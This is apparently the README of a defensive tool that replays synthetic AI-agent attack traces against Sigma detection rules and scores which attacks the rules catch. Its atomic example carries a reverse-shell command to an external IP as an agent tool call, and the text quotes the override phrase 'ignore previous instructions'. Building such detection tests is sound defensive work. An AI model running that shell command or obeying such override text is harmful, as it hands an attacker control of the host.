# firedrill

**Do your detections fire when an AI agent is attacked? Run the drill and find out.**

firedrill replays small, known-bad agent attack traces against your detection
rules and tells you which attacks you would have caught, which you would have
missed, and which of your rules cannot tell an attack from normal agent work.
Results are scored against the OWASP Top 10 for Agentic Applications (2026)
and MITRE ATLAS.

It is the Atomic Red Team idea applied to agent telemetry: a library of
atomic tests, a deterministic rule engine, a coverage matrix and a CI gate.
No LLM, no API key, no network. Runs offline in under a second.

## Quickstart

```bash
pip install agent-firedrill
firedrill run
```

The PyPI name is `agent-firedrill`; the command and the Python package are
`firedrill`. If the `firedrill` command is not on your PATH, `python -m firedrill`
works the same way.

```

Coverage 88.2% (15/17 covered)   detection rate 88.2%   noisy 0   missed 2
```

Now point it at the keyword rules most teams write first:

```bash
firedrill run --rules examples/naive-rules
```

```
Coverage 0.0% (0/17 covered)   detection rate 41.2%   noisy 7   missed 10
```

Seven of those rules fire on their attack. All seven also fire on ordinary
agent work. That gap between "detection rate" and "coverage" is the reason
this tool exists.

## How it works

```
atomic (YAML)                      your Sigma rules
  attack trace  ─┐                       │
  benign twin   ─┴─►  rule engine  ◄─────┘
                          │
                          ▼
        covered / noisy / missed  per atomic
                          │
                          ▼
     coverage matrix (OWASP ASI, MITRE ATLAS)  ─►  CI gate
```

**Atomics.** Each atomic in [firedrill/atomics](firedrill/atomics) is one
technique expressed as OpenTelemetry GenAI spans (`gen_ai.operation.name`,
`gen_ai.tool.name`, `gen_ai.tool.call.arguments`, ...). Every atomic carries
two traces:

- `attack`: what the technique looks like in telemetry.
- `benign`: ordinary agent work chosen to look as similar as possible. A
  security blog that quotes "ignore previous instructions". `rm -rf ./build`.
  `.env.example`. A reply to an external customer.

**Outcomes.** For each atomic the rules are run over both traces:

| Outcome | Attack trace | Benign twin | Meaning |
|---|---|---|---|
| covered | alert | quiet | A detection you can leave switched on. |
| noisy | alert | alert | Fires on the attack, and on Tuesday. It will be muted within a week. |
| missed | quiet | n/a | A blind spot. |

**Rules.** Standard [Sigma](https://sigmahq.io) YAML, including Sigma
correlation rules (`event_count`, `value_count`, `temporal`,
`temporal_ordered`), which is what lets a rule say "untrusted content, then a
secret read, then external egress, in one conversation, within ten minutes".
The bundled starter pack is in [firedrill/rules](firedrill/rules).

## Commands

| Command | What it does |
|---|---|
| `firedrill run [--rules PATH] [--atomics DIR]` | Replay every atomic and print the coverage matrix. `-v` lists every atomic, `--json` and `--md FILE` for machines and PRs. |
| `firedrill list` | List atomics with their OWASP ASI and ATLAS mappings. |
| `firedrill scan TRACE...` | Run rules over your own trace files (OTLP/JSON or JSON lines). |
| `firedrill export ID [--benign]` | Write an atomic as OTLP/JSON, ready to POST to a collector so you can test the real pipeline and SIEM, not just the rule logic. |
| `firedrill check-rules --rules PATH` | Parse rules and report anything outside the supported Sigma subset. |

### Gate a pull request on detection coverage

```yaml
- run: pip install agent-firedrill
- run: firedrill run --rules detections/ --min-coverage 80 --max-noisy 0
```

`run` exits 1 when a gate fails and appends the Markdown report to
`GITHUB_STEP_SUMMARY` when that variable is set. `--max-missed N` is also
available.

### Test the pipeline, not just the rule

```bash
firedrill export FD-ASI01-001 --out trifecta.json
curl -X POST http://localhost:4318/v1/traces -H "Content-Type: application/json" -d @trifecta.json
```

If the alert does not show up in your SIEM, the gap is in collection,
parsing or field mapping, which no amount of rule review would have found.

## Writing an atomic

```yaml
id: FD-ASI05-002
name: Agent opens a reverse shell to an external host
severity: critical
owasp_asi: [ASI05]
atlas: [AML.T0072]
description: ...
benign_note: The agent uses netcat to check that the database port is reachable.
attack:
  - at: 0                      # seconds from the start of the trace
    attrs:
      gen_ai.operation.name: execute_tool
      gen_ai.tool.name: shell
      gen_ai.tool.call.arguments: { command: "bash -i >& /dev/tcp/203.0.113.5/4444 0>&1" }
benign:
  - at: 0
    attrs:
      gen_ai.operation.name: execute_tool
      gen_ai.tool.name: shell
      gen_ai.tool.call.arguments: { command: "nc -zv db.internal 5432" }
```

`repeat:` and `every:` generate bursts. Framework ids are validated against
[taxonomy.py](firedrill/taxonomy.py), so a typo fails the load. The benign
twin is the hard part and the valuable part: pick the legitimate activity an
analyst would most plausibly confuse with the attack.

## What the numbers do and do not mean

- **The bundled 88% is a self-test, not a benchmark.** The starter rules and
  the atomics were written by the same author against each other. The number
  that matters is the one you get from *your* rules.
- **Traces are synthetic.** They follow the OpenTelemetry GenAI conventions,
  but your instrumentation may name tools differently, truncate arguments or
  not capture content at all (prompt, result and tool-definition capture are
  opt-in). An atomic your rules "cover" here can still be invisible in
  production. Use `export` to check.
- **One benign twin is a floor, not a false-positive rate.** Passing it means
  the rule survives the most obvious look-alike, nothing more.
- **Pattern rules are evadable.** Several starter rules match strings an
  attacker controls. The sequence-based correlations are sturdier. Neither
  replaces prevention.
- **Two categories are missed on purpose.** ASI07 (forged inter-agent
  message) and ASI09 (phishing link in the agent's own voice) cannot be
  separated from their benign twins with the fields a span carries. The
  report says what each would need.
- **Sigma subset.** Unsupported modifiers and correlation types raise an
  error instead of being skipped, so a rule is never silently unevaluated.

Companion to [gauntlet](https://github.com/rpmsft9/gauntlet): gauntlet asks
whether your agent resists the attack, firedrill asks whether you would see
it. Prior art worth knowing: [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)
